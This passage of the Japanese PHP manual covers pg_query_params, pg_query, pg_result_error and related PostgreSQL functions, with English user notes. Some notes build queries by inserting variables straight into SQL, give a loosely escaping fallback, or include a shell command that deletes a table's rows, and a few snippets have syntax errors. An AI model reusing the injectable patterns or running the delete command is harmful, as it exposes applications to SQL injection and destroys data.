ユーザーから受け取った値は常にパラメータとして渡すべきです。 直接クエリ文字列に組み込んではいけません。そうしてしまうと、 SQL インジェクション 攻撃を受けてしまう可能性があります。また、クォート文字を含むデータの処理でバグの原因になります。 何らかの理由でパラメータが使えない場合は、値を 適切にエスケープするようにしましょう。

params

プリペアドステートメント中の $1、$2 などのプレースホルダを 置き換えるパラメータの配列。配列の要素数はプレースホルダの 数と一致する必要があります。

bytea フィールド用の値は、パラメータとして指定できません。 pg_escape_bytea() を使うか、ラージオブジェクト関数を使うようにしましょう。

返り値

成功した場合にクエリ結果リソース、失敗した場合に false を返します。

例

例1 pg_query_params() の使用法

<?php
// "mary"という名前のデータベースに接続
$dbconn = pg_connect("dbname=mary");

// Joe's Widgets という名前の店を探す。"Joe's Widgets" を
// エスケープする必要がないことに注意
$result = pg_query_params($dbconn, 'SELECT * FROM shops WHERE name = $1', array("Joe's Widgets"));

// pg_query を使用した場合と比較
$str = pg_escape_string("Joe's Widgets");
$result = pg_query($dbconn, "SELECT * FROM shops WHERE name = '{$str}'");

?>

参考

  • pg_query() - クエリを実行する

User Contributed Notes

Anonymous 04-Mar-2017 05:52
If one of the parameters is an array,  (eg. array of ints being passed to a stored procedure),   it must be denoted as a set within the array,  not php array notation.

eg:  var_dump output  of 2 parms an integer and array of int
aaa is: Array
(
    [0] => 1
    [1] => {2,3}
)

you do not want:

bbb is: Array
(
    [0] => 1
    [1] => Array
        (
            [0] => 2
            [1] => 3
        )

)
php at richardneill dot org 23-May-2014 02:55
For a parameterised date, the value NOW() is not allowed (it gets turned into a literal string and makes postgres choke),  however 'now'
is allowed as a parameter, and has the same effect.
php at richardneill dot org 20-May-2014 04:53
Debugging parameterised queries can be tedious, if you want to paste the query directly into PSQL. Here is a trick that helps:

<?php
$sql = "SELECT * from table WHERE col_a = $1 and col_b=$2 and col_c=$3";
$params = array (42, "a string", NULL);

$debug = preg_replace_callback(
        '/\$(\d+)\b/',
        function($match) use ($params) {
            $key=($match[1]-1); return ( is_null($params[$key])?'NULL':pg_escape_literal($params[$key]) );
        },
        $sql);

echo "$debug";
//prints:   SELECT * from table WHERE col_a = '42' and col_b='a string' and col_c=NULL
?>

This works correctly, except in the (unusual) case where we have a literal $N;  the regexp replaces it where it shouldn't.  For example:
<?php
//Both  ' ... $1 ... '   and  $1   get replaced; the former is wrong, the latter is right.
$sql = "SELECT 'Your bill is for $1' AS invoice WHERE 7 = $1";
$params = array(7);
//$debug:  SELECT 'Your bill is for $7' AS invoice WHERE 7 = '7'"
?>
php at richardneill dot org 20-May-2014 04:35
A note on type-juggling of booleans:
pg_query_params() and friends do seamless, automatic conversion between PHP-NULL and SQL-NULL and back again, where appropriate.
Hoever, everything else goes in (and comes out) as a string.
The following approach may be helpful when handling boolean fields:

<?php
$sql = " ... ";
$params = array (1, 2, 3, true, false);

//Convert booleans to 'true' and 'false'.  [NULLS are already handled].
foreach ($params as &$value){
    if (is_bool($value)){
        $value = ($value) ? 'true':'false';
    }
}

//Now do the query:
$result = pg_query_params ($sql, $params);
$row = pg_fetch_assoc ($result,0)  //first row

//For booleans, convert 't' and 'f' back to true and false. Check the column type so we don't accidentally convert the wrong thing.
foreach ($row as $key => &$value){
    $type = pg_field_type($result,pg_field_num($result, $key));
    if ($type == 'bool'){
        $value = ($value == 't');
    }
}

//$row[] now contains booleans, NULLS, and strings.
?>
php at richardneill dot org 20-May-2014 04:20
pg_query_params() *does* accept NULLs.  They will automatically be transformed, correctly, into SQL NULL. Thus, for example:

<?php
$sql = "UPDATE tbl_example SET column_a = $1, column_b=$2";
$params = array(NULL,  42);
$result = pg_params ($sql, $params);

//is equivalent to:
$result = pg_query ("UPDATE tbl_example SET column_a = NULL column_b  = '42')";

//and not, as one might fear,  either of these (incorrect) things:
// ... column_a = ''      ...
// ... column_a = 'NULL'  ...
?>

Note that you can use NULLs this way in an UPDATE or INSERT statement, but NOT in a WHERE clause. This isn't a restriction of pg_query_params(), but rather it is a consquence of the SQL language.
So, if you want a query of the type:

<?php
//depending on data,  the where-test parameter may or may not be NULL
//the following is WRONG for $1.
$sql = "SELECT * from  tbl_example WHERE column_a = $1 and column_b = $2";
$params = array(NULL,  42);
$result = pg_params ($sql, $params);
?>

This will fail as invalid SQL:  because you should use "= 42" but "IS NULL".  The solution is to use the SQL construct "IS [NOT] DISTINCT FROM".

<?php
$sql = "SELECT ... WHERE column IS NOT DISTINCT FROM $1"
$params = array (42);    //this works, the same as  "where column = 42"
$params = array (NULL);  //this works, the same as "where column is null"
?>

(Aside: though this is annoying, the behaviour is correct. There is a postgresql compatibility option "transform_null_equals", but it won't help you here, even though you might expect it to.)
peter dot kehl+nospam at gmail dot com 24-Oct-2012 09:39
Third parameter $params of pg_query_params() ignores nay part of the string values after a zero byte character - PHP "\0" or chr(0). That may be a result of serialize().

See https://bugs.php.net/bug.php?id=63344
alec at smecher dot bc dot ca 18-Apr-2012 03:17
Note that due to your locale's number formatting settings, you may not be able to pass a numeric value in as a parameter and have it arrive in PostgreSQL still a number.

If your system locale uses "," as a decimal separator, the following will result in a database error:

pg_query_params($conn, 'SELECT $1::numeric', array(3.5));

For this to work, it's necessary to manually convert 3.5 to a string using e.g. number_format.

(I filed this as bug #46408, but apparently it's expected behavior.)
victor dot engmark at terreactive dot ch 15-Jun-2011 03:00
You can't run multiple statements with pg_query_params, but you can still have transaction support without falling back to pg_query:

<?php
$connection = pg_connect("host=127.0.0.1 port=5432 dbname=foo user=bar password=baz");
pg_query($connection, 'DROP TABLE IF EXISTS example');
pg_query($connection, 'CREATE TABLE example (col char(1))');
pg_query($connection, 'INSERT INTO example (col) VALUES (\'a\')');
// 'SELECT col FROM example' in another session returns "a"
pg_query($connection, 'BEGIN');
pg_query_params($connection, 'UPDATE example SET col = $1', array('b'));
// 'SELECT col FROM example' in another session still returns "a"
pg_query_params($connection, 'UPDATE example SET col = $1', array('c'));
// 'SELECT col FROM example' in another session still returns "a"
pg_query($connection, 'COMMIT');
// 'SELECT col FROM example' in another session returns "c"
?>
travismowens at gmail dot com 22-Jul-2010 11:38
Unfortunately the params will not respect string representations of NULL or NOW().  If your code pushes these values, they be considered a string and inserted literally as "NULL" and "NOW()".

Ideally, there should be an additional parameter that you can assign to force this text as pgSQL functions/reserved words and not wrap them up as strings (assuming pgSQL's parameterized queries support this.

This same problem also occurs for comma lists used in "WHERE column IN (1,2,3,4)", params treats "1,2,3,4" as a string, not a list of numbers, and runs it with quotes also.

For debugging, I use this function to simulate params, keep in mind this is not 100% accurate, it only attempts to simulate the actual SQL that param queries create.

<?php
    function pg_query_params_return_sql($query, $array)
    {
        $query_parsed = $query;

        for ($a = 0, $b = sizeof($array); $a < $b; $a++)
        {
            if ( is_numeric($array[$a]) )
            {
                $query_parsed = str_replace(('$'.($a+1)), str_replace("'","''", $array[$a]), $query_parsed );
            }
            else
            {
                $query_parsed = str_replace(('$'.($a+1)), "'".str_replace("'","''", $array[$a])."'", $query_parsed );
            }
        }

        return $query_parsed;
    }
?>
ac at esilo dot com 01-Jan-2010 10:45
pg_query and pg_query_params can be combined into a single function.  This also removes the need to construct a parameter array for pg_query_params:

<?php
function my_query($conn, $query)
{
  if(func_num_args() == 2)
    return pg_query($conn, $query);

  $args = func_get_args();
  $params = array_splice($args, 2);
  return pg_query_params($conn, $query, $params);
}
?>

Usage:

<?php
/* non-parameterized example */
my_query($conn, "SELECT $val1 + $val2");

/* parameterized example */
my_query($conn, "SELECT $1 + $2", $val1, $val2);
?>
strata_ranger at hotmail dot com 24-May-2009 09:03
Regarding boolean values, just typecast them as (integer) when passing them in your query -- '0' and '1' are perfectly acceptable literals for SQL boolean input:

- http://www.postgresql.org/docs/8.2/interactive/datatype-boolean.html

It is also safe to write your paramerized query in double-quotes, which allows you to mix constant values and placeholders in your query without having to worry about how whether PHP will attempt to substitute any variables in your parameterized string.

Of course this also means that unlike PHP's double-quoted string syntax, you CAN include literal $1, $2, etc. inside SQL strings, e.g:

<?php
// Works ($1 is a placeholder, $2 is meant literally)
pg_query_params("INSERT INTO foo (col1, col2) VALUES ($1, 'costs $2')", Array($data1));

// Throws an E_WARNING (passing too many parameters)
pg_query_params("INSERT INTO foo (col1, col2) VALUES ($1, 'costs $2')", Array($data1, $data2));
?>
jsnell at e-normous dot com 26-Sep-2007 03:57
When inserting into a pg column of type bool, you cannot supply a PHP type of bool.  You must instead use a string "t" or "f". PHP attempts to change boolean values supplied as parameters to strings, and then attempts to use a blank string for false.

Example of Failure:
pg_query_params('insert into table1 (bool_column) values ($1)', array(false));

Works:
pg_query_params('insert into lookup_permissions (system) values ($1)', array(false ? 't' : 'f'));
dt309 at f2s dot com 22-Dec-2006 12:11
If you need to provide multiple possible values for a field in a select query, then the following will help.

<?php
// Assume that $values[] is an array containing the values you are interested in.
$values = array(1, 4, 5, 8);

// To select a variable number of arguments using pg_query() you can use:
$valuelist = implode(', ', $values);
$query = "SELECT * FROM table1 WHERE col1 IN ($valuelist)";
$result = pg_query($query)
    or die(pg_last_error());

// You may therefore assume that the following will work.
$query = 'SELECT * FROM table1 WHERE col1 IN ($1)';
$result = pg_query_params($query, array($valuelist))
    or die(pg_last_error());
// Produces error message: 'ERROR: invalid input syntax for integer'
// It only works when a SINGLE value specified.

// Instead you must use the following approach:
$valuelist = '{' . implode(', ', $values . '}'
$query = 'SELECT * FROM table1 WHERE col1 = ANY ($1)';
$result = pg_query_params($query, array($valuelist));
?>

The error produced in this example is generated by PostGreSQL.

The last method works by creating a SQL array containing the desired values. 'IN (...)' and ' = ANY (...)' are equivalent, but ANY is for working with arrays, and IN is for working with simple lists.
mledford 04-Oct-2006 08:18
If you are trying to replicate the function pg_query_params, you might also want to support NULL values. While is_int returns true for a NULL value, the formatting for the SQL.

function pg_query_params( $db, $query, $parameters ) {
    // Escape parameters as required & build parameters for callback function
    global $pg_query_params__parameters;
    foreach( $parameters as $k=>$v ) {
        if ( is_null($v) ) {
            $parameters[$k] = 'NULL';
        } else {
            $parameters[$k] = ( is_int( $v ) ? $v : "'".pg_escape_string( $v )."'" );
        }
    }
    $pg_query_params__parameters = $parameters;

    // Call using pg_query
    return pg_query( $db, preg_replace_callback( '/\$([0-9]+)/', 'pg_query_params__callback', $query));
}
cc+php at c2se dot com 02-Sep-2006 05:17
This is a useful function for preventing SQL injection attacks, so, for those of us who are not yet able to upgrade to PHP5.1, here is a replacement function which works similarly on older versions of PHP...

<?php   # Parameterised query implementation for Postgresql and older versions of PHP

        if( !function_exists( 'pg_query_params' ) ) {

                function pg_query_params__callback( $at ) {
                        global $pg_query_params__parameters;
                        return $pg_query_params__parameters[ $at[1]-1 ];
                }

                function pg_query_params( $db, $query, $parameters ) {

                        // Escape parameters as required & build parameters for callback function
                        global $pg_query_params__parameters;
                        foreach( $parameters as $k=>$v )
                                $parameters[$k] = ( is_int( $v ) ? $v : "'".pg_escape_string( $v )."'" );
                        $pg_query_params__parameters = $parameters;

                        // Call using pg_query
                        return pg_query( $db, preg_replace_callback( '/\$([0-9]+)/', 'pg_query_params__callback', $query ) );

                }
        }

        // Example: pg_query_params( $db_resource, "SELECT * FROM table WHERE col1=$1 AND col2=$2", array( 42, "It's ok" ) );
?>


クエリを実行する

  • ≪ pg_query_params
  • pg_result_error_field ≫
  • PHP Manual
  • PostgreSQL 関数
  • クエリを実行する

pg_query

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_query — クエリを実行する

説明

pg_query ( resource $connection = ? , string $query ) : resource|false

pg_query() は、指定したデータベース connection 上で query を実行します。 特別な理由がない限り、この関数よりも pg_query_params() を使うほうがいいでしょう。

エラーが発生して false が返された場合、もし接続が正常なら pg_last_error() 関数を使用してエラーの詳細情報が 取得可能です。

注意: connectionは省略可能ですが、それは推奨されません。 なぜならスクリプトのバグが発見しにくくなるためです。

注意:

この関数は、以前は pg_exec() と呼ばれていました。 pg_exec() は互換性確保のためにまだ使用可能ですが、 新しい名前を使用することが推奨されています。

パラメータ

connection

PostgreSQL データベース接続リソース。connection が指定されていない場合はデフォルトの接続が使用されます。 デフォルトの接続は、直近の pg_connect() あるいは pg_pconnect() によって作成されたものです。

query

実行する 1 つまたは複数の SQL 文。複数の文が関数に渡された場合は、 明示的に BEGIN/COMMIT コマンドを指定していない限りはそれらの文は ひとつのトランザクションとして実行されます。しかし、1 回のコールで 複数のトランザクションを実行することは推奨されません。

警告

ユーザーから受け取ったデータを文字列に直接組み込むのは危険で、SQL インジェクション の脆弱性を引き起こしがちです。クエリ文字列に直接埋め込むのではなく、 pg_query_params() を使ってパラメータとして指定することを推奨します。

ユーザーから受け取ったデータをクエリ文字列に直接埋め込む場合は、 適切にエスケープ する必要があります。

返り値

成功した場合にクエリ結果リソース、失敗した場合に false を返します。

例

例1 pg_query() の例

<?php

$conn = pg_pconnect("dbname=publisher");
if (!$conn) {
  echo "An error occurred.\n";
  exit;
}

$result = pg_query($conn, "SELECT author, email FROM authors");
if (!$result) {
  echo "An error occurred.\n";
  exit;
}

while ($row = pg_fetch_row($result)) {
  echo "Author: $row[0]  E-mail: $row[1]";
  echo "<br />\n";
}

?>

例2 pg_query() で複数の文を使用する例

<?php

$conn = pg_pconnect("dbname=publisher");

// これらの文がひとつのトランザクションとして実行されます

$query = "UPDATE authors SET author=UPPER(author) WHERE id=1;";
$query .= "UPDATE authors SET author=LOWER(author) WHERE id=2;";
$query .= "UPDATE authors SET author=NULL WHERE id=3;";

pg_query($conn, $query);

?>

参考

  • pg_connect() - PostgreSQL 接続をオープンする
  • pg_pconnect() - 持続的な PostgreSQL 接続をオープンする
  • pg_fetch_array() - 行を配列として取得する
  • pg_fetch_object() - 行をオブジェクトとして得る
  • pg_num_rows() - 行数を返す
  • pg_affected_rows() - 変更されたレコード(タプル)の数を返す

User Contributed Notes

Anonymous 17-Dec-2013 10:00
Here is my small function to make it easier for me to use data from select queries (attention, it is sensitive to sql injection)
<?php
function requestToDB($connection,$request){
    if(!$result=pg_query($connection,$request)){
        return False;
    }
    $combined=array();
    while ($row = pg_fetch_assoc($result)) {
        $combined[]=$row;
    }
    return $combined;
}
?>

Example:
<?php
$conn = pg_pconnect("dbname=mydatabase");

$results=requestToDB($connect,"select * from mytable");

//You can now access a "cell" of your table like this:
$rownumber=0;
$columname="mycolumn";

$mycell=$results[$rownumber][$columname];
var_dump($mycell);
a dot mcruer at live dot com 17-May-2013 06:46
A quick note for novice users: when gathering input from fields on a web form that maintains a database connection, *never* use pg_query to do queries from the field. Always sanitize input using pg_prepare and pg_execute.
sd at dicksonlife dot com 14-Sep-2006 12:40
Took me a while to track this down so I thought it might be useful for others:

If you use stored procedures and need to get result sets back from them:

function dbquery($link,$query){
  pg_query($link,"BEGIN;");
  $tr=pg_query($link,$query);
  $r=pg_fetch_row($tr);
  $name=$r[0];
  $rs=pg_query($link,"FETCH ALL IN \"" . $name . "\";");
  pg_query($link,"END;");
  return $rs;
}

(Error checking removed for clarity)
zoli at makettinfo.hu 21-May-2006 08:07
It would be better this way:

<?php
  $result=pg_query($conn, "SELECT COUNT(*) AS rows FROM x WHERE a=b;");
  if  (!$result) {
   echo "query did not execute";
  }
  if ($line = pg_fetch_assoc($result)) {
    if ($line['rows'] == 0) {
     echo "0 records"
    }
  }
  else {
   while ($row = pg_fetch_array($result)) {
     //do stuff with $row
   }
  }
?>

This solution doesn't raise the load of the system with the move of matching rows (perhaps 0,1, perhaps 100, 1000, ... rows)
mankyd 13-May-2006 07:21
There was a typo in the code that I posted:

<?php
  $result=pg_query($conn, "SELECT * FROM x WHERE a=b;");
  if  (!$result) {
   echo "query did not execute";
  }
  if (pg_num_rows($result) == 0) {
   echo "0 records"
  }
  else {
   while ($row = pg_fetch_array($result)) {
     //do stuff with $row
   }
  }
?>
mankyd 12-May-2006 06:56
Improving upon what jsuzuki said:

It's probably better to use pg_num_rows() to see if no rows were returned, as that leaves the resultset cursor pointed to the first row so you can use it in a loop.

Example:

<?php
  $result=pg_query($conn, "SELECT * FROM x WHERE a=b;");
  if  (!$result) {
   echo "query did not execute";
  }
  if (pg_num_rows($result) == 0) {
   echo "0 records"
  }
  else {
    while ($row = pg_fetch_array($result) {
      //do stuff with $row
    }
  }
?>

I, personally, also find it more readable.
jsuzuki at spamcop dot net 27-Nov-2005 05:58
expanding on the note left by "cmoore" -

To check to see if the recordset returned no records,

<?php
  $result=pg_query($conn, "SELECT * FROM x WHERE a=b;");
  if  (!$result) {
    echo "query did not execute";
  }
  $rs = pg_fetch_assoc($result);
  if (!$rs) {
    echo "0 records"
  }
?>

-jack
Jan-Willem Regeer 27-Sep-2005 04:58
In reply to david dot bouriaud at ac-rouen dot fr:

All it is doing is internal caching. How can that be dangerous. If you are going to be deleting records after you have closed the connection it is your problem to make sure you have the latest and greatest records, and not some cached ones. Considering you are writing the script I don't see why it is a problem, you know what you are doing in the script, so it is quite useless for PHP to invalidate the cache, when that could be done upon exiting the script, which would mean there was less time spent cleaning out the cache when it counts most (when returning data to the user).
cmoore 05-Sep-2005 11:20
One thing to note that wasn't obvious to me at first.  If your query returns zero rows, that is not a "failed" query.  So the following is wrong:
  $result=pg_query($conn, "SELECT * FROM x WHERE a=b;");
  if  (!$result) {
    echo "No a=b in x\n";
  }

pg_query returns FALSE if the query can not be executed for some reason.  If the query is executed but returns zero rows then you get back a resul with no rows.
Akbar 01-Dec-2004 08:07
Use pg_query to call your stored procedures, and use pg_fetch_result when getting a value (like a smallint as in this example) returned by your stored procedure.

<?php
$pgConnection = pg_connect("dbname=users user=me");

$userNameToCheckFor = "metal";

$result = pg_query($pgConnection, "SELECT howManyUsersHaveThisName('$userNameToCheckFor')");

$count = pg_fetch_result($result, 0, 'howManyUsersHaveThisName');
?>
yoshinariatsuo at yahoo dot com 22-Apr-2003 11:59
create table from pg_query results.. hope it helps newbies...
function table_create($result)
{
    $numrows = pg_num_rows($result);
    $fnum = pg_num_fields($result);

    echo "<table border width='100%'>";
    echo "<tr>";

    for ($x = 0; $x < $fnum; $x++) {
        echo "<td><b>";
        echo strtoupper(pg_field_name($result, $x));
        echo "</b></td>";
    }

    echo "</tr>";

    for ($i = 0; $i < $numrows; $i++) {
        $row = pg_fetch_object($result, $i);
        echo "<tr align='center'>";
        for ($x = 0; $x < $fnum; $x++) {
    $fieldname = pg_field_name($result, $x);
    echo "<td>";
    echo $row->$fieldname;
    echo "</td>";
        }
        echo"</tr>";
    }
    echo "</table>";

    return 0;
}
mentat at azsoft dot pl 14-Oct-2002 05:16
$GLOBALS["PG_CONNECT"]=pg_connect(...);
....

function query ($sqlQuery,$var=0) {
   if (!$GLOBALS["PG_CONNECT"]) return 0;
   $lev=error_reporting (8); //NO WARRING!!
   $result=pg_query ($sqlQuery);
   error_reporting ($lev); //DEFAULT!!
   if (strlen ($r=pg_last_error ($GLOBALS["PG_CONNECT"]))) {
      if ($var) {
        echo "<p color=\"red\">ERROR:<pre>";
        echo $sqlQuery;
        echo "</pre>";
        echo $r;
        echo "&lt/p>";
      }
      close_db ();
      return 0;
   }
   return $result;
}
hierophantNOSPAM at pcisys dot net 17-Jun-2002 12:50
Regarding david.bouriaud@ac-rouen.fr:
You misunderstand SQL. When a query is issued, results applicable at the time of the query are returned to the application (i.e. PHP). There is no further reference to the database required. Thus, all of the pg_fetch_* functions are acting on an internal data storage, NOT the database itself. This is because SQL does not have a concept of sets, or of state (except in limited circumstances provided by transactions). However, if you use a cursor instead, fetching only one record at a time, you may get an error if you delete the table. If you don't, it is an issue with Postgres, not PHP.
jvarner at dsrglobal dot com 10-May-2002 03:18
That's why your code should never assume it has the very latest data unless it locks it.
david dot bouriaud at ac-rouen dot fr 07-May-2002 10:54
Hi to all !
It seems that the old pg_exec function does not do what it is expected to.
In the doc, it is said that it returns a resource identifier on the successful querry that was send to the backend.
It seems to me that it is more than a resource identifier.
Follow the example :

<?php
$ConnId = pg_connect ("blablabla");
$ResId = pg_exec ("select * from table", $ConnId);
pg_close ($ConnId);
$row = pg_fetch_array ($ResId, 4);
?>

I closed the connection voluntarily before the pg_fetch_array. It WORKS !

Now, imagine the following script :
<?php
$ConnId = pg_connect ("blablabla");
$ResId = pg_exec ("select * from table", $ConnId);
pg_close ($ConnId);
system ("psql base -c delete from table");
$row = pg_fetch_array ($ResId, 4);
?>
See how it could be harmful !!!! I think that the coders have done this for performances reasons, but it is not the right way do do so !!!


エラー報告の各フィールドを返す

  • ≪ pg_query
  • pg_result_error ≫
  • PHP Manual
  • PostgreSQL 関数
  • エラー報告の各フィールドを返す

pg_result_error_field

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

pg_result_error_field — エラー報告の各フィールドを返す

説明

pg_result_error_field ( resource $result , int $fieldcode ) : string

pg_result_error_field() は、result リソースに関するエラーメッセージの特定のフィールドを返します。 PostgreSQL 7.4 以降のサーバーでのみ有効です。エラーフィールドは fieldcode で定義します。

pg_query() や pg_query_params() はクエリが失敗した場合に false を返すので、結果のハンドルを得るには pg_send_query() および pg_get_result() を使用する必要があります。

失敗した pg_query() クエリから詳細なエラー情報を
取得する必要がある場合は、pg_set_error_verbosity()
および pg_last_error() を使用してその結果をパース
します。

パラメータ

result

実行したステートメントのクエリ結果リソース。

fieldcode

以下の fieldcode が使用可能です。 PGSQL_DIAG_SEVERITY、 PGSQL_DIAG_SQLSTATE、PGSQL_DIAG_MESSAGE_PRIMARY、 PGSQL_DIAG_MESSAGE_DETAIL、 PGSQL_DIAG_MESSAGE_HINT、PGSQL_DIAG_STATEMENT_POSITION、 PGSQL_DIAG_INTERNAL_POSITION（PostgreSQL 8.0+ のみ）、 PGSQL_DIAG_INTERNAL_QUERY（PostgreSQL 8.0+ のみ）、 PGSQL_DIAG_CONTEXT、PGSQL_DIAG_SOURCE_FILE、 PGSQL_DIAG_SOURCE_LINE あるいは PGSQL_DIAG_SOURCE_FUNCTION 。

返り値

エラーフィールドの内容を文字列で返します。 フィールドが存在しない場合に null 、失敗した場合に false を返します。

例

例1 pg_result_error_field() の例

<?php
  $dbconn = pg_connect("dbname=publisher") or die("Could not connect");

  if (!pg_connection_busy($dbconn)) {
      pg_send_query($dbconn, "select * from doesnotexist;");
  }

  $res1 = pg_get_result($dbconn);
  echo pg_result_error_field($res1, PGSQL_DIAG_SQLSTATE);
?>

参考

  • pg_result_error() - 結果に関連するエラーメッセージを取得する

User Contributed Notes

There are no user contributed notes for this page.


結果に関連するエラーメッセージを取得する

  • ≪ pg_result_error_field
  • pg_result_seek ≫
  • PHP Manual
  • PostgreSQL 関数
  • 結果に関連するエラーメッセージを取得する

pg_result_error

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_result_error — 結果に関連するエラーメッセージを取得する

説明

pg_result_error ( resource $result ) : string

pg_result_error() は、結果リソース (result)に関連したエラーメッセージを返します。 このため、ユーザーが pg_last_error() よりも適切な エラーメッセージを得る可能性があります。

pg_result_error_field() は、 pg_result_error() よりもさらに詳細なエラー情報を 返します。

pg_query() はクエリが失敗した場合に false を返すので、
結果ハンドルを取得するには pg_send_query() および
pg_get_result() を使用する必要があります。

パラメータ

result

pg_query(), pg_query_params() あるいは pg_execute() から返される PostgreSQL の クエリ結果リソース。

返り値

文字列を返します。エラーがない場合は空文字列を返します。 result パラメータに関連付けられたエラーがある場合は それを文字列で返します。それ以外の場合は false を返します。

例

例1 pg_result_error() の例

<?php
  $dbconn = pg_connect("dbname=publisher") or die("接続できませんでした");

  if (!pg_connection_busy($dbconn)) {
      pg_send_query($dbconn, "select * from doesnotexist;");
  }

  $res1 = pg_get_result($dbconn);
  echo pg_result_error($res1);
?>

参考

  • pg_result_error_field() - エラー報告の各フィールドを返す
  • pg_query() - クエリを実行する
  • pg_send_query() - 非同期クエリを送信する
  • pg_get_result() - 非同期クエリの結果を取得する
  • pg_last_error() - 特定の接続から直近のエラーメッセージ文字列を取得する
  • pg_last_notice() - PostgreSQL サーバーからの直近の通知メッセージを返す

User Contributed Notes

VLroyrenn 18-Jan-2019 07:19
So considering pg_query and pg_query_params don't return results on error, and that this would be an extremely handy thing to have, I just ended up writing my own functions wrapping the pg_send_* ones to work like the aforementionned two <em>should</em>. There's not a whole lot of code to them, the comments are mostly references from the libPQ and PHP doc, to explain the behavior.

<?php

class PostgresConnectionError extends Exception {
    public function __construct($last_error) {
        parent::__construct($message);
    }
}

function pg_send_query_sync($connection, string $query) {
    // This function cannot work if any query is already running for that connection because the results may then get mixed up.
    assert(pg_get_result($connection) === false);

    $dispatch_ok = pg_send_query($connection, $query);

    // The *only* case where nothing can be returned, when the connection fails to dispatch the initial query.
    if (!$dispatch_ok) throw new PostgresConnectionError(pg_?last_?error($connection));

    // From the libPQ doc : "PQgetResult must be called repeatedly until it returns a null pointer, indicating that the command is done."

    // In the case of pg_query/PQExec, which we're trying to emulate:
    // "Note however that the returned PGresult structure describes only the result of the last command executed from the string."
    // "Should one of the commands fail, processing of the string stops with it and the returned PGresult describes the error condition."

    while ($result = pg_get_result($connection)) {
        // Drain all results on the connection and only return the last one.
        if ($last_result) pg_free_result($last_result);
        $last_result = $result;
    }

    assert(is_resource($result) && get_resource_type($result) === "pgsql result");
    return $last_result;
}

function pg_send_query_params_sync($connection, string $query, array $params) {
    // This function cannot work if any query is already running for that connection because the results may then get mixed up.
    assert(pg_get_result($connection) === false);

    $dispatch_ok = pg_send_query_params($connection, $query, $params);

    // The *only* case where nothing can be returned, when the connection fails to dispatch the initial query.
    if (!$dispatch_ok) throw new PostgresConnectionError(pg_?last_?error($connection));

    // From the libPQ doc : "PQgetResult must be called repeatedly until it returns a null pointer, indicating that the command is done."

    // In the case of pg_query_params/PQExecParams, which we're trying to emulate:
    // "Unlike PQexec, PQexecParams allows at most one SQL command in the given string. (There can be semicolons in it, but not more than one nonempty command.)"

    while ($result = pg_get_result($connection)) {
        // Drain all results on the connection, although there should only be one.
        if ($last_result) pg_free_result($last_result);
        $last_result = $result;
    }

    assert(is_resource($result) && get_resource_type($result) === "pgsql result");
    return $last_result;
}
spamuser at test dot com 16-Mar-2011 01:14
pg_result_error does NOT work with prepared statements.
axon dot wp at wp dot pl 02-Mar-2006 04:20
You can  use pg_set_error_verbosity() to retrieve SQLSTATUS from pg_last_error().
15-Mar-2004 04:12
Because pg_query() returns FALSE if the query fails, you must must use pg_send_query() and pg_get_result() to get the result handle.

PostgreSQL 7.4 introduced a new function called PQresultErrorField() that can be used to get SQLSTATE code from a query, which is far more useful than the error string returned from pg_result_error().
http://www.postgresql.org/docs/7.4/static/libpq-exec.html
http://www.postgresql.org/docs/7.4/static/errcodes-appendix.html

Here's a patch that adds the pg_result_error_field() function to PHP:
http://collapsed.net/patches/php-4.3.5RC3-pg_result_error_field.diff
(To apply the patch cd into your php-4.3.5RC directory and type: patch -p1 </path/to/php-4.3.5RC3-pg_result_error_field.diff)

Example code:
<?php
  if(!($db = pg_connect("user=foo password=bar dbname=foobar")))
    die("pg_connect");

  if(!pg_send_query($db, "SELECT foo FROM bar"))
    die("pg_send_query");

  if(!($result = pg_get_result($db)))
    die("pg_get_result");

  echo(pg_result_error($result) . "<br />\n");

  /* only available if you have patched php */
  if(function_exists("pg_result_error_field"))
  {
    $fieldcode = array(
      "PGSQL_DIAG_SEVERITY",        "PGSQL_DIAG_SQLSTATE",
      "PGSQL_DIAG_MESSAGE_PRIMARY", "PGSQL_DIAG_MESSAGE_DETAIL",
      "PGSQL_DIAG_MESSAGE_HINT",    "PGSQL_DIAG_STATEMENT_POSITION",
      "PGSQL_DIAG_CONTEXT",         "PGSQL_DIAG_SOURCE_FILE",
      "PGSQL_DIAG_SOURCE_LINE",     "PGSQL_DIAG_SOURCE_FUNCTION");

    foreach($fieldcode as $fcode)
    {
      printf("%s: %s<br />\n",
        $fcode,
        pg_result_error_field($result, constant($fcode)));
    }

    pg_free_result($result);
  }
?>

<?php pg_result_error_field($result, PGSQL_DIAG_SQLSTATE); ?>
Returns the SQLSTATE code.


結果リソースの内部行オフセットを設定する

  • ≪ pg_result_error
  • pg_result_status ≫
  • PHP Manual
  • PostgreSQL 関数
  • 結果リソースの内部行オフセットを設定する

pg_result_seek

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

pg_result_seek — 結果リソースの内部行オフセットを設定する

説明

pg_result_seek ( resource $result , int $offset ) : bool

pg_result_seek()は、結果リソースの行の位置を 指定された offset にセットします。

パラメータ

result

pg_query(), pg_query_params() あるいは pg_execute() から返される PostgreSQL の クエリ結果リソース。

offset

結果リソース内で、内部オフセットを移動させる行。 行番号はゼロから始まります。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 pg_result_seek() の例

<?php

// データベースに接続する
$conn = pg_pconnect("dbname=publisher");

// クエリを実行する
$result = pg_query($conn, "SELECT author, email FROM authors");

// 3 行目をシークする（結果が 3 行あると仮定する）
pg_result_seek($result, 2);

// 3 行目を取得する
$row = pg_fetch_row($result);

?>

参考

  • pg_fetch_row() - 数値添字の配列として行を得る
  • pg_fetch_assoc() - 行を連想配列として取得する
  • pg_fetch_array() - 行を配列として取得する
  • pg_fetch_object() - 行をオブジェクトとして得る
  • pg_fetch_result() - 結果リソースから値を返す

User Contributed Notes

andrew-php dot net at andrew dot net dot au 17-Sep-2004 08:01
Ah, this is a handy feature for resetting the record index, for example, if you're used pg_fetch_{row,array,assoc} to iterate over the result set, and you want to do it again later on, without reexecuting your query. Something like:

<?php pg_result_seek($result, 0); ?>

will allow you to iterate over the result set all over again...


クエリ結果のステータスを取得する

  • ≪ pg_result_seek
  • pg_select ≫
  • PHP Manual
  • PostgreSQL 関数
  • クエリ結果のステータスを取得する

pg_result_status

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_result_status — クエリ結果のステータスを取得する

説明

